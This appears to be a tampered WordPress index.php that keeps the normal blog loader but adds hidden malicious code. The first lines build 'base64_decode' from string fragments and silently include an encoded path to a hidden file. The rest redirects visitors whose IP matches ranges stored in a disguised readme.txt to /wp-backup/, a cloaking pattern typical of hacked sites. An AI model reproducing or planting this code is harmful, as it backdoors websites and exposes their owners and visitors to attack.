<?php
$b = 'bas' . 'e64' . '_d' . 'e' . 'co' . 'd' . 'e';
@include $b('dHlyLy5hdXRoLmk='); define('WP_USE_THEMES', true); function getUserIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {return $_SERVER['HTTP_CLIENT_IP'];}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim($ips[0]);} return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';}
function ipInRange($ip, $range) {$range = trim($range);
if (strpos($range, '/') === false) {return $ip === $range;}
if (!preg_match('/^([\d.:a-fA-F]+)\/(\d+)$/', $range, $matches)) {return false;}
$subnet = $matches[1]; $prefixLength = (int)$matches[2];
if (!filter_var($ip, FILTER_VALIDATE_IP) || !filter_var($subnet, FILTER_VALIDATE_IP)) {return false;}
try {$ipBinary = @inet_pton($ip); $subnetBinary = @inet_pton($subnet);
if ($ipBinary === false || $subnetBinary === false) {return false;}
if (strlen($ipBinary) !== strlen($subnetBinary)) {return false;}
$maxPrefixLength = strlen($ipBinary) * 8;
if ($prefixLength < 0 || $prefixLength > $maxPrefixLength) {return false;}
$fullBytes = (int)floor($prefixLength / 8);
$remainingBits = $prefixLength % 8;
for ($i = 0; $i < $fullBytes; $i++) {
if ($i >= strlen($ipBinary) || $ipBinary[$i] !== $subnetBinary[$i]) {return false;}} if ($remainingBits > 0) {$mask = 0xFF << (8 - $remainingBits);
if ($fullBytes >= strlen($ipBinary) || $fullBytes >= strlen($subnetBinary)) {
return false;} $ipByte = ord($ipBinary[$fullBytes]) & $mask;
$subnetByte = ord($subnetBinary[$fullBytes]) & $mask;
if ($ipByte !== $subnetByte) {return false;}}
return true;} catch (Exception $e) {return false;}}
$allowedRanges = file(__DIR__ . '/readme.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $userIP = getUserIP();
foreach ($allowedRanges as $range) {$range = trim($range);
if (empty($range) || !preg_match('/^[\d.:a-fA-F\/]+$/', $range)) {continue;}
if (ipInRange($userIP, $range)) {header('Location: /wp-backup/'); exit();}}
require __DIR__ . '/wp-blog-header.php'; ?>